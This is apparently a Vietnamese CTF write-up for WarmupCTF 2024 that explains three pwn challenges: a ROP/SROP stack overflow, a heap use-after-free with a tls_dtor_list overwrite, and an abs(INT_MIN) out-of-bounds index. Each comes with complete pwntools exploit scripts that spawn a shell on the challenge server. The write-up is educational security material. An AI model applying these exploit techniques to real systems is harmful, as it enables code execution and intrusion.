--- subtitle: "So sad no pwn solves :((" author: - ktranowl colorlinks: true header-includes: - \usepackage{fvextra} - \renewcommand{\theFancyVerbLine}{\texttt{\arabic{FancyVerbLine}}} - \DefineVerbatimEnvironment{Highlighting}{Verbatim}{frame=single,breaklines,numbers=left,commandchars=\\\{\}} --- # WarmupCTF 2024 ## pwn/suscall ### Cách 1 Bài này có lỗ hổng buffer overflow, cũng không có stack canary, và còn no-pie, nên ta sẽ nghĩ đến phương án ROP gọi execve('/bin/sh') [Linux syscall table](https://filippo.io/linux-syscall-table/) Ta cần `$rax = 59`, `$rdi = BINSH`, `$rsi = 0`, `$rdx = 0` rồi syscall. Ta tìm các mảnh ghép cho ROP chain: ``` $ ROPgadget --binary ./suscall --only "syscall" Gadgets information ============================================================ 0x0000000000401203 : syscall Unique gadgets found: 1 $ ROPgadget --binary ./suscall --only "pop|ret" Gadgets information ============================================================ 0x000000000040119d : pop rbp ; ret 0x0000000000401210 : pop rdi ; ret 0x0000000000401214 : pop rdx ; ret 0x0000000000401212 : pop rsi ; ret 0x000000000040101a : ret Unique gadgets found: 5 ``` - Ta có `syscall`, `pop rdi`, `pop rsi`, `pop rdx` - Có string `/bin/sh` trong binary Nhưng cái còn thiếu là `pop rax`. Mình cần điều khiển `rax` để gọi được syscall theo ý mình. Nếu để ý kỹ, ta sẽ thấy ở hàm `read_input` có `return strlen(buf) - 13`. Giá trị return này sẽ được lưu trong `$rax`, như vậy chỉ cần điều chỉnh `strlen(buf)` là xong bài. `strlen(buf)` đếm số kí tự khác `\0` tính từ đầu chuỗi `buf`. Mà hàm `fgets` đọc từ input và chỉ kết thúc khi gặp `\n` hoặc `EOF`, nên mình có thể chèn `\0` vào giữa để cho rax trả về giá trị mong muốn. Giờ ta sẽ build payload. Đầu tiên ta cần tính offset từ `buf` đến `$rbp`. Ta cần đặt breakpoint tại lệnh `read(buf, 400, stdin)` để tính offset. Do binary bị stripe nên không có tên hàm trong file binary, không thể disassemble hàm từ trong gdb. Mở file binary trong Ghidra, ta thấy địa chỉ của dòng lệnh trên ở `0x00401238`. Mở gdb, `b *0x00401238`, `r`, `c`, `p/d (long)$rbp - (long)$rdi` thu được kết quả là 64, như vậy cần ghi đè (64 + 8) = 72 char trên stack mới tới `stored rip`. Như vậy, payload của ta sẽ có dạng: ```python payload = flat( b'A' * 72, pop_rdi, binsh, pop_rsi, 0, pop_rdx, 0, syscall ) ``` Nhưng như vậy thì `rax` khi hàm return sẽ là (72 + 3 - 13) = 62, không đúng 59 như cần thiết để gọi syscall. (+3 do gadget `pop_rdi` có dạng `\x10\x12\x40\x00`). Ta cần tìm một gadget nào đó có dạng 0x4xxx00, để thêm vào sau đống chữ 'A'. Và may mắn: ta có một gadget không làm gì cả, chỉ ret thôi. ``` $ ROPgadget --binary ./suscall | grep "00 :" 0x0000000000401100 : endbr64 ; ret ``` Final payload: ```python payload = flat( b'A' * 72, endbr64_ret, pop_rdi, binsh, pop_rsi, 0, pop_rdx, 0, syscall ) ``` Script: ```python #!/usr/bin/env python3 from pwn import * exe = ELF("./suscall_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe context.log_level = 'DEBUG' gdbscript = ''' b *0x00401238 ''' if args.REMOTE: conn = "nc 13.215.136.187 30006".split() p = remote(conn[1], int(conn[2])) elif args.LOCAL: conn = "nc localhost 5050".split() p = remote(conn[1], int(conn[2])) elif args.GDB: p = gdb.debug([exe.path], gdbscript=gdbscript) else: p = process([exe.path]) rop = ROP([exe]) binsh = next(exe.search('/bin/sh')) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0] pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0] endbr64_ret = 0x0000000000401100 syscall = rop.find_gadget(['syscall'])[0] offset = 72 execve_number = 59 # rax = len(input) - 13 payload = b'A' * offset + p64(endbr64_ret) payload += flat( pop_rdi, binsh, pop_rsi, 0, pop_rdx, 0, syscall ) print(f'{payload = }') print(f'{len(payload) = }') p.sendline(payload) p.sendline(b'cat flag.txt') p.interactive() ``` ### Cách 2 Cách này ta dùng SROP, một phương pháp gọi execve('/bin/sh') chỉ cần điều khiển được rax = 15, có syscall, có địa chỉ `/bin/sh` Theo cách này thì không cần dùng đống `free_gadgets` làm gì. :v Script: ```python from pwn import * exe = ELF('./suscall_patched', checksec=False) context.binary = exe context.log_level = 'DEBUG' gdbscript = ''' b *0x00401238 ''' if args.REMOTE: conn = "nc 13.215.136.187 30006".split() p = remote(conn[1], int(conn[2])) elif args.LOCAL: conn = "nc localhost 1339".split() p = remote(conn[1], int(conn[2])) elif args.GDB: p = gdb.debug([exe.path], gdbscript=gdbscript) else: p = process([exe.path]) BINSH = next(exe.search(b'/bin/sh\x00')) SYSCALL_RET = 0x0000000000401203 frame = SigreturnFrame() frame.rax = 0x3b # syscall number for execve frame.rdi = BINSH # pointer to /bin/sh frame.rsi = 0x0 # NULL frame.rdx = 0x0 # NULL frame.rip = SYSCALL_RET offset = 72 payload = b'A' * 28 + b'\x00' payload = payload.ljust(offset, b'A') payload += p64(SYSCALL_RET) payload += bytes(frame) log.info(f'{len(payload) = }') p.sendline(payload) p.sendline(b'cat flag.txt\nexit') print(p.recvall().decode()) ``` Flag: `warmup{syscalling_without_pop_rax_is_possible}` ## pwn/nametagg Đây là một bài heap thông thường. Dễ thấy bài có UAF, có hàm fix để sửa, throw để `free`, và read. Như mọi bài heap, ta sẽ cố có được địa chỉ libc, và arbitrary write, rồi sau đó cố lấy RCE. Ta viết lại các tính năng của chương trình để tiện viết exploit. ```python def new_tag(len, name): p.sendlineafter(b'choice', b'1') p.sendlineafter(b'long', str(len).encode()) p.sendlineafter(b'name?', name) def change_name(name): p.sendlineafter(b'choice', b'2') p.sendlineafter(b'name?', name) def throw(): p.sendlineafter(b'choice', b'3') def show(): p.sendlineafter(b'choice', b'4') def exit_choice(): p.sendlineafter(b'choice', b'5') def show_and_get_value(): show() p.recvuntil(b'###\n# ') result = p.recvuntil(b' #\n', drop=True) return result ``` ### Bước 1: Leak địa chỉ. Phiên bản libc được dùng là libc 2.35. Trên 64-bit, các heap chunk từ 24 đến 1032 bytes khi free sẽ được bỏ vào `tcache`, mỗi bin tcache có maximum là 7 chunk (có thể coi tcache là stack được biểu diễn bằng singly linked list). Khi `free(a)` và `a` được bỏ vào trong `tcache` thì: - `*a = <địa chỉ next trong tcache> ^ (a >> 12)` - `*(a+8) = <key đánh dấu đã free rồi>` (để tránh double free). ![Màu hồng là chunk A](https://hackmd.io/_uploads/Bk046g8cA.png) Nếu `a` là chunk đầu tiên thì ta có địa chỉ next = 0, nên sau khi free, `*a = (a >> 12)`. Và đọc từ đó ra, ta sẽ có `a >> 12`. Trong trường hợp này, do may mắn có `a - heap_base < 0x1000` nên `a >> 12` bằng với `heap base >> 12` luôn. Script cho đoạn này: ```python # leak heap new_tag(16, b'11111111') throw() heap_shift_12 = int.from_bytes(show_and_get_value(), "little") heap_base = heap_shift_12 << 12 print(f'Heap base: {hex(heap_base)}') ``` Bước tiếp theo, ta sẽ cố leak libc, đây là bước làm đau đầu tác giả khi giải =)). Ta có thể leak libc bằng cách đưa chunk vào unsorted bin, rồi read. Do chỉ có 1 chunk để dùng, nên cần phải khéo léo một xíu. Ý tưởng là ta sẽ free chunk đó 8 lần để đưa nó vào unsorted bin. Nhưng không khéo sẽ bị bắt double free. ``` free(): double free detected in tcache 2 [1] 73936 IOT instruction ./nametagg ``` Như đã nói ở trên, ở `*(a+8)` có chứa key, chỉ cần overwrite key đó thì ta có thể free lại. Như vậy, ta sẽ `free` nó, rồi sửa, lặp lại như vậy 8 lần. Sau đó read, sẽ leak được libc. ```python new_tag(0x100, b'44444444') throw() for i in range(1, 8): change_name(str(i).encode() * 16) throw() ``` Sau khi free 7 lần, ta đã lấp đầy tcache bin. ![heap_2](https://hackmd.io/_uploads/HJmIpgUqC.png) Nhưng có một vấn đề, khi free đến lần thứ 8, khi bỏ vào unsorted bin, do nằm kế top chunk nên chunk đó bị merge với `top chunk` --> ta không thể leak libc được ![heap_3](https://hackmd.io/_uploads/HJ-OTl89C.png) Do đó, ta cần tìm cách bỏ 1 chunk ở dưới, ngăn cách top chunk với cái chunk mà mình dự định free 8 lần. Ta nghĩ đến tcache. Đầu tiên tạo chunk A với size 0x100, free(A) để bỏ A vào tcache, rồi tạo chunk B với size khác, sau đó tạo lại chunk với size 0x100 ban đầu, như vậy, `name_ptr` của ta sẽ trỏ tới chunk A, và giữa `name_ptr` và `top_chunk` có 1 chunk khác, ta có thể thoải mái bỏ vào unsorted bin. ```python # leak libc, unsorted bin new_tag(0x100, b'22222222') throw() new_tag(100, b'33333333') new_tag(0x100, b'44444444') throw() for i in range(1, 8): change_name(str(i).encode() * 16) throw() libc_leak = int.from_bytes(show_and_get_value(), "little") offset = 0x21ace0 libc.address = libc_leak - offset print(f'Libc base: {hex(libc.address)}') ``` Sau khi free 8 lần, ta có được `name_ptr` trỏ đến chunk nằm trong unsorted bin, chỉ cần read ra, trừ đi offset là có được libc base. ![heap_4](https://hackmd.io/_uploads/rJKKalIcA.png) ### Bước 2: Tìm cách lấy arbitrary write. Bước này khá dễ do mình có `UAF`. Mình tạo một chunk A bất kỳ, free nó, sửa key, rồi free tiếp. Sau đó mình sửa giá trị của `next` pointer thành `target ^ (A >> 12)`. Khi đó trong `tcache`: ``` A -> target ``` Rồi. Mình malloc lần đầu sẽ nhận được A, malloc lần thứ hai sẽ có `name_ptr` bằng địa chỉ target. ```python new_tag(0x400, b'55555555') throw() change_name(b'A' * 16) throw() change_name(p64(target ^ heap_shift_12)) new_tag(0x400, b'66666666') new_tag(0x400, payload) # get chunk at target address ``` ### Bước 3: Tìm cách RCE từ arbitrary write. Đến đây rồi thì có nhiều cách giải tiếp. [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) Tác giả chọn cách overwrite `tls_dtor_list`, chi tiết trong link phía trên. Tóm tắt lại: khi chương trình kết thúc sẽ gọi các hàm destructor được lưu trong một địa chỉ của libc. Ta chỉ cần overwrite địa chỉ đó bằng system, và argument bằng địa chỉ của `/bin/sh`. Sau khi overwrite thì ở TLS sẽ có dạng như sau: ![heap_5](https://hackmd.io/_uploads/HykiTxIqR.png) Full script: ```python #!/usr/bin/env python3 from pwn import * exe = ELF("./nametagg_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe context.log_level = 'DEBUG' gdbscript = ''' handle SIGALRM ignore # malloc new tag brva 0x140e # done set name new tag brva 0x1425 # free throw brva 0x12e7 # print name brva 0x1467 # done print name brva 0x1536 # change name brva 0x1460 # exit option brva 0x159b ''' if args.REMOTE: conn = "nc 13.215.136.187 30005".split() p = remote(conn[1], int(conn[2])) elif args.LOCAL: conn = "nc localhost 5000".split() p = remote(conn[1], int(conn[2])) elif args.GDB: p = gdb.debug([exe.path], gdbscript=gdbscript, aslr=True) else: p = process([exe.path]) def new_tag(len, name): p.sendlineafter(b'choice', b'1') p.sendlineafter(b'long', str(len).encode()) p.sendlineafter(b'name?', name) def change_name(name): p.sendlineafter(b'choice', b'2') p.sendlineafter(b'name?', name) def throw(): p.sendlineafter(b'choice', b'3') def show(): p.sendlineafter(b'choice', b'4') def exit_choice(): p.sendlineafter(b'choice', b'5') def show_and_get_value(): show() p.recvuntil(b'###\n# ') result = p.recvuntil(b' #\n', drop=True) return result # FIRST STEP: INFO LEAK # leak heap new_tag(16, b'11111111') throw() heap_shift_12 = int.from_bytes(show_and_get_value(), "little") heap_base = heap_shift_12 << 12 print(f'Heap base: {hex(heap_base)}') # leak libc, unsorted bin new_tag(0x100, b'22222222') throw() new_tag(100, b'33333333') new_tag(0x100, b'44444444') throw() for i in range(1, 8): change_name(str(i).encode() * 16) throw() libc_leak = int.from_bytes(show_and_get_value(), "little") offset = 0x21ace0 libc.address = libc_leak - offset print(f'Libc base: {hex(libc.address)}') # SECOND STEP: find arbitrary write and do RCE ''' https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite ''' def rol(num, bits, bit_length=64): return ((num << bits) | (num >> (bit_length - bits))) & ((1 << bit_length) - 1) fake_dtor_list = flat( rol(libc.sym['system'], 0x11), next(libc.search(b'/bin/sh\x00')), 0, 0 ) print(f'{len(fake_dtor_list) = }') tls_dtor_list_address = libc.address - 0x2918 target = tls_dtor_list_address - 8 # heap align payload = p64(0) payload += p64(tls_dtor_list_address+8) payload += fake_dtor_list payload += p64(0)*6 payload += p64(libc.address-10432) payload += p64(libc.address-7840) payload += p64(libc.address-10432) payload += p64(0)*4 print(f"{len(payload) = }") # double free then get a chunk at target address new_tag(0x400, b'55555555') throw() change_name(b'A' * 16) throw() change_name(p64(target ^ heap_shift_12) + b'B' * 16) new_tag(0x400, b'66666666') new_tag(0x400, payload) exit_choice() p.interactive() ``` Flag: `warmup{use_after_free_to_take_over_the_heap}` ## pwn/myqueue `Hint 1: does % always return non-negative number?` Viết các hàm tự động thực hiện các chức năng của chương trình: ```python def sneak(position): p.sendlineafter(b'your choice', b'2') p.sendlineafter(b'Enter index:', str(position).encode()) def ask(): p.sendlineafter(b'your choice', b'3') def play(): p.sendlineafter(b'your choice', b'1') def quitt(): p.sendlineafter(b'your choice', b'4') ``` Có option `sneak` sử dụng hàm `peek_position` khá đáng chú ý: ```c bool peek_position(Queue q, int position, Song *result) { printf("Peek idx\n"); if (isEmpty(q)) return false; int read_from_index = ((q.write_to_index - q.occupied + 1) + q.maxSize + abs(position)) % q.maxSize; printf("Indexing at %d\n", read_from_index); *result = q.data[read_from_index]; return true; } ``` Hint nhắc ta chú ý đến dấu `% q.maxSize`. Nếu cho số âm % q.maxSize, có thể kết quả sẽ là số âm, mình có thể gọi các hàm có địa chỉ nằm phía trước `PLAYLIST` ![queue_](https://hackmd.io/_uploads/BkWn6lUq0.png) Khá trùng hợp, `input` nằm ngay phía trước `PLAYLIST` Nếu mình có thể đưa `read_from_index` nằm trong khoảng đó, và đưa `system` vào chỗ đó, rồi cho argument trỏ về địa chỉ của `/bin/sh` để gọi `system("/bin/sh")` là xong bài. Đầu tiên là đưa index về giá trị âm. Có một điều ta có thể nghĩ tới là test các giá trị lớn truyền vào position, như vậy cũng biết được khi position bằng `-2^31` thì thu được index âm. Đây còn gọi là `Leblancian paradox`, đại khái nó nói là `abs(INT_MIN) = INT_MIN`. Khi cộng vào các thứ sẽ ra số âm, rồi `%` nữa trả về `read_from_index` là số âm. Còn `size` có thể để một giá trị nào đó >= `5` cũng được. Có thể gọi `play()` và `ask()` vài lần để tăng index hoặc giảm index. ```python size = 5 payload = p64(exe.sym['system']) p.sendlineafter(b'name?', payload) p.sendlineafter(b'(less than 20)', str(size).encode()) # Nếu không có loop này thì `read_from_index` sẽ là -3, mình thêm vào để nó thành -4, ở đầu input cho tiện. for _ in range(4): play() ask() sneak(position) p.interactive() ``` Khi chạy thu được: ``` Peek idx Indexing at -4 ``` Ok, như vậy ta xong bước đầu tiên. Payload cho input của chúng ta tới thời điểm hiện tại: ```python payload = p64(exe.sym['system']) ``` Tiếp theo, ta tìm cách đưa `/bin/sh` vào trong input, rồi làm ma thuật sao cho `mySum(input, 30)` = địa chỉ của nó. ```C int mySum(char buf[], int n) { int res = 0; for (int i = 0; i < n; i++) { res += buf[i]; } return res * res + 69 * res - 8910; } ``` Ta thấy hàm trên tính tổng các giá trị ascii của input, rồi đưa vào `f(x) = x^2 + 69x - 8910`. Địa chỉ chứa `/bin/sh` nằm trong nửa khoảng `[0x4040a0, 0x4040c0)`. Như vậy ta có thể phải chạy vòng lặp giải phương trình `f(x) = Y` với lần lượt `Y thuộc [0x4040a0, 0x4040c0)`. Rồi check nghiệm `x` nguyên dương thì lấy. Hoặc ta làm đơn giản hơn: tìm khoảng giá trị có thể của `x`, rồi chạy vòng for kiểm tra `0x4040a0 <= f(x) < 0x4040c0`. ```python input_begin = 0x4040a0 input_end = 0x4040c0 def findXY(): def f(x): return x*x + 69*x - 8910 Y = range(input_begin, input_end) D = range(sum(b'\x14\x11\x40' + b'/bin/sh'), 30*127) found = False for x in D: y = f(x) if y in Y: print(f"Found a solution: {x = }, {hex(y) = }") found = True if not found: print("Not found") ``` Chạy script tìm trên, ta được `x = 2020`, `y = 0x4040b6`. Offset phải để `/bin/sh` trong input là `0x4040b6 - 0x4040a0 = 22.` Và hơn nữa, phải để `sum(payload) = x = 2020` Như vậy payload cho input của chúng ta là: ```python to_fill = 22 - 8 x = 2020 already = p64(exe.symbols['system']) + b'/bin/sh\x00' filler = (x - already) // to_fill remain = (x - already) % to_fill payload = flat( exe.symbols['system'], bytes([filler]) * (to_fill - 1), bytes([filler + remain]), b'/bin/sh' ) assert sum(payload) == 2020 ``` Final script: ```python #!/usr/bin/env python3 from pwn import * exe = ELF("./queue_patched") context.binary = exe context.log_level = 'DEBUG' gdbscript = ''' b *0x401dd7 ''' def start(): if args.REMOTE: conn = "nc 13.215.136.187 30004".split() return remote(conn[1], int(conn[2])) elif args.LOCAL: conn = "nc localhost 5555".split() return remote(conn[1], int(conn[2])) elif args.GDB: return gdb.debug([exe.path], gdbscript=gdbscript) else: return process([exe.path]) def sneak(position): p.sendlineafter(b'your choice', b'2') p.sendlineafter(b'Enter index:', str(position).encode()) def ask(): p.sendlineafter(b'your choice', b'3') def play(): p.sendlineafter(b'your choice', b'1') def quitt(): p.sendlineafter(b'your choice', b'4') p = start() position = -2147483648 size = 5 to_fill = 22 - 8 x = 2020 already = sum(p64(exe.symbols['system']) + b'/bin/sh\x00') filler = (x - already) // to_fill remain = (x - already) % to_fill payload = flat( exe.symbols['system'], bytes([filler]) * (to_fill - 1), bytes([filler + remain]), b'/bin/sh' ) assert sum(payload) == 2020 p.sendlineafter(b'name?', payload) p.sendlineafter(b'(less than 20)', str(size).encode()) for _ in range(4): play() ask() sneak(position) p.interactive() ``` Flag: `warmup{abs_solutely_exploitable}` --- Solution của anh `@daccong`: ở index `-17` có `system@got`, có thể dùng nó để đỡ phải chen chúc trong `input`. Script làm như vậy (`@daccong`): ```python #!/usr/bin/env python3 from pwn import * # host = 'file_storage.pwnable.vn' # port = 10000 context.binary = exe = ELF('./myqueue_patched') lib = ELF('./libc.so.6') gdbscript = ''' ''' def start(): if args.REMOTE: conn = "nc 13.215.136.187 30004".split() return remote(conn[1], int(conn[2])) elif args.LOCAL: conn = "nc localhost 1337".split() return remote(conn[1], int(conn[2])) elif args.GDB: return gdb.debug([exe.path], gdbscript=gdbscript) else: return process([exe.path]) p = start() def pop(): p.sendlineafter(b': ', b'1') def peek(idx): p.sendlineafter(b': ', b'2') p.sendlineafter(b': ', str(idx).encode()) def push(): p.sendlineafter(b': ', b'3') p.sendlineafter(b'> ', b'\x43'*22 + b'sh;' + b'\x43'*4) p.sendlineafter(b': ', b'20') for i in range(11): pop() push() peek(-2**31) p.interactive() ``` Qua 4 tiếng thì cả 3 bài đều 0 solves, khá buồn :(